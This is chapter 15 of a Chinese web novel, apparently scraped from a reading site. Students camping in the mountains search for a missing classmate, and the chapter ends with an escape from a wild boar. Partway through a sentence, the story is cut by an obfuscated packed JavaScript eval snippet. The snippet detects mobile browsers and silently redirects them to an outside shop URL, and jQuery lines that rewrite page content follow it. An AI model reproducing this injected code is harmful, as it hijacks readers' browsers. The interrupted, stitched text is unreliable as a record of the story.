15. 呜

作品:《少赖在我家

    夜幕降临,天上几颗星星在月光照耀下透出微弱的光,像快要熄灭。


    山里的路不好走,游鱼打开手机的手电筒,一路走一路捡柴。


    两人一路沉默。


    过了一会儿,刘玉琪像是觉得无聊,主动跟开口:“知道吗?其实我们很像。”


    “像?”游鱼抱着树枝,回头看她,不理解,“哪里像?”


    刘玉琪拾柴的动作利索,一看就是干惯了活的人,“都一样,是穷人。”


    “要什么没什么,只能做攀附别人的蝼蚁。”


    游鱼动作一顿,“你想说什么可以直说,不用绕弯子。”


    “卓子晨喜欢你。”


    刘玉琪目光直直钉在她脸上,想从那平静地脸上揪出一丝波澜。


    但她失望了。


    游鱼没有露出半分欣喜,依旧淡得像水。


    “你不惊讶?”


    “没什么好惊讶的。”


    还以为她会说什么,原来是这种无聊的话。


    刘玉琪情绪一下子激动起来,不明白她为什么这么淡定。她越是淡定越是让她觉得自己讨厌。


    她是从小地方来的,爸妈在南星打了一辈子工,动用了所有的人脉才把她接到这里读书。


    本以为是美好生活的开始,可这里的人全都高高在上,处处看不起她。


    后来,她伪装得乖觉,终于攀上杨璐瑶这根藤蔓,得以安静度日。


    也是因为杨璐瑶,她认识了卓子晨。


    他长相斯文,家世显赫,待人温文有礼,从来没有看不起她。


    她对他一见钟情。


    但她知道自己配不上卓子晨,只默默站在杨璐瑶身后偷偷看他一眼便心满意足。


    她不嫉妒杨璐瑶,并不代表她不会嫉妒游鱼。


    凭什么?明明都是一样的人,没有耀眼的家庭、张扬的性格、出众的样貌,是被放进人堆里都不会有人多看一眼的存在。为什么她可以被那么美好的人喜欢?为什么她不行?


    游鱼静静听她说完,轻声道:“任何人都有喜欢别人的权利。”


    刘玉琪颤着声音:“是,但他不应该喜欢你。”


    “那他应该喜欢谁?杨璐瑶?”刘玉琪看着她不说话,算是默认她的话。游鱼轻轻笑了一声,眼神清亮,“你看不上你自己,别拿我和你相提并论。”


    “我挺满意我自己的。”


    刘玉琪一怔,僵在原地,久久不动。


    等游鱼捡了一圈回来,她还站在那里。


    “走吧。”她对刘玉琪说。


    刘玉琪有些别扭地看了她一眼,小声问,“怎么……才能满意自己?”


    游鱼觉得她有点可爱,罚站一样站在这里几分钟,居然在纠结这个。


    她认真想了想,回答她:“专注自己,别管别人。”


    “真的?”


    “假的。”游鱼逗了她一句,抱着柴走了。


    刘玉琪反应过来,连忙跟上,气呼呼,“我去那边捡。”


    “随便你。”


    两人分头捡柴。


    又捡了一会儿,游鱼低头看自己手里的柴,觉得差不多够了,想喊刘玉琪一起回去。


    一转身,身后空荡荡,连个人影都没有。


    游鱼心里一紧,忙放下柴,举着手机跑过去。


    “刘玉琪——”


    连喊几声,都没有回应。


    她往前走了几步,地上掉落着几根柴火。


    游鱼顺着方向继续往前走,脚底忽然踩到一个硬硬的东西。


    她捡起来,手电一照,是一个发卡。和刘玉琪头上戴的一模一样。


    游鱼攥住发卡,举着手机往前方照,只看见一片深不见底的黑。


    后背瞬间冒出冷汗。


    她不会往山里面走了吧。


    游鱼咬了咬牙,无意识将发卡握紧,坚硬的质地硌得她掌心发痛。


    算了,救人要紧。


    她一边喊一边往山里走。


    *


    另一边。


    许城望着山路方向,来回踱步:“怎么还不回来?都这么久了。”


    “急什么,说不定她们在采蘑菇呢。”陈睿明不急不躁,这么大的人了,能出什么事。


    “可是她们去了快一个小时了。”


    秦狸低头看了眼手表,再也坐不住,起身就要往山里走。


    “哎哎哎,”陈睿明拉住他,“别急啊,说不定马上就回来了。”


    徐粒忽然指着路口:“回来了。”


    “你看,我就说吧,这不就回来了。”陈睿明一脸得意,扭头看去,却只看见刘玉琪一个人。


    秦狸声音冷得像冰,“她人呢?”


    沈眉也慌了,往她身后望,“怎么就你一个?游鱼呢?”


    刘玉琪被他吓得浑身一缩,眼泪瞬间涌上来,哽咽道:“不知道。”


    “什么叫不知道?!”秦狸的脸色要多难看有多难看,眼底一片森然,“她跟你一起出去的,为什么只有你回来?”


    刘玉琪抽抽噎噎,话都说不完整,“我……们分开捡柴,等我捡完……去找……她的时候……她就不见了。”


    杨璐瑶看了她一眼,发现她头上的发卡不在了:“玉琪,你发卡呢?”


    刘玉琪一摸头顶,突然想到一种可能,脸色瞬间惨白,冷汗直流。


    卓子晨立刻反应过来,“会不会是游鱼看见你掉在地上的发卡,以为你遭遇危险,进去找你了?”


    秦狸脸色沉得吓人,一把推开刘玉琪。她一个踉跄,摔倒在地。


    他侧着脸,下颌线紧绷,露出泛着冷光的牙齿,“你最好祈祷她没事。”


    话音未落,他已经转身冲进漆黑的山里。


    “阿狸!”


    几个人在后面喊他,他半步都没停。


    “我们也去找!。”陈睿明提议。


    “不行。”卓子晨冷静下来,“山里没开发,我们没人熟悉山里的路,去找人等于送死。”


    “那怎么办?阿狸也进去了!”


    卓子晨拿出手机,立刻拨通求救电话,简单说明位置和具体情况。


    “我已经叫人了,他们很快就到。睿明,你在这里等着接应,其他人待在这里不要乱动,我进去看看。”


    杨璐瑶不同意,拉住他:“不行,太危险了,我不让你去。”


    “放心,我不往深处走。万一阿狸他们需要帮助,至少能有个接应。”


    “我跟你一起去!”沈眉立刻跟上。


    “可——”杨璐瑶还想说什么,两人已经跑远。


    剩下的人在山脚下,心急如焚地等待。


    *


    夜凉如水,山里不时传来几声怪异虫鸣,空气里弥漫着压抑的恐惧。


    游鱼本打算往里走几步,找不到人就回去叫人。


    可她没想到,竟然遇上了野猪。


    野猪体型庞大,肩背上的黑毛根根竖起,脖子和身体绷出硬邦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423581|200795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邦的肌肉块,两根泛黄的獠牙从丑陋的唇下戳出来,沾着食物残渣,一双小眼睛闪着危险的光。


    游鱼立马停住脚步,飞快关掉手机,躲在树后。


    大气不敢出。


    野猪一直在附近打转,时不时停在一个地方张望一番,不像在寻找猎物。


    游鱼暗道不妙。


    她以为这野猪是来狩猎的,想着它找不到食物,一会儿自己就走了。但看现在这情况,野猪八成是把自己的崽子藏在这附近,怕有危险,所以一直徘徊在周围。


    更糟的是野猪所在的地方是她出去的必经之路。


    完蛋。


    她现在只能祈祷千万不要有人来找她,一旦惊动野猪,谁都跑不掉。


    游鱼想给沈眉发消息,可屏幕怎么都亮不起来——手电筒开太久,把电用光了。


    早不没电晚不没电,偏偏这个时候没电。


    她气恼地把手机塞回口袋,悄悄从树后探头。


    野猪还在原地打转。


    她缓缓松了口气。


    没等一口气顺利吐出,远处忽然传来人声。声音越来越近,喊的是她的名字。


    “游鱼——”


    是秦狸。


    秦狸双手括在嘴边,边找边喊。


    野猪听见声响,瞬间警觉,猛地朝声音方向奔去。


    不好。


    游鱼顾不上危险,忙从树后跑出来,朝他大喊:“快跑,有野猪!”


    秦狸听见她的声音,先是一喜,随即就看见一头庞大的野猪直冲他奔来。


    下一秒,混着泥土腥气的山风袭来,土黄色的灰土弥漫在空中,迷了人的眼睛。


    野猪带着破风的低吼撞过来,庞大的身躯跑起来,震得地面抖三抖。


    秦狸顾不得其他,转身狂奔。


    可野猪速度实在快,这么跑下去,早晚被追上,成为它今晚的夜宵。


    “爬到树上!”游鱼在树上隔空急喊。


    就在野猪即将追上他的瞬间,秦狸眼一沉,借着助跑的力,一脚蹬在树干上,凭着向上的力道伸手攀住旁边一棵斜着生长的松树,手脚并用往上爬。


    野猪疯了似地撞着树干,发黄的獠牙狠狠撕扯着树皮。


    怒吼声和撕咬声在黑暗中不断回荡、放大。


    秦狸坐在粗枝丫上,脸上的汗不断滴落,胸膛剧烈起伏,一双眼死死盯着发了狂的野猪。


    整棵树被它撞得摇摇欲坠。


    要不了多久,树就会被它撞断。


    游鱼满脸焦急,目光一扫,忽然瞥见不远处的草窝里有几只小野猪,正睡得香甜。


    谢天谢地,还有一线生机。


    她摸出口袋里下午在溪边捡的鹅卵石,本来只是觉得这块石头好看,便捡了留作纪念,没想到会在这时候派上大用场。


    她握紧石头,瞄准草窝,猛地投掷出去。


    “啪”。


    石头砸中其中一只野猪崽。


    野猪崽吃痛,吱吱叫出声。


    其他睡着的野猪崽被吵醒,也跟着叫唤。


    野猪终于停下撞击,围着树根转了两圈,不甘心地慢慢退回到草窝里,那群小崽子护在肚腹下。


    见状,两人同时松了一口气。


    秦狸靠在树枝上,心脏狂跳不止,手心全是冷汗。


    他借着月光,望向另一棵树上的身影。


    距离较远,看不真切。


    只知道,她也正透过树叶缝隙,看着他。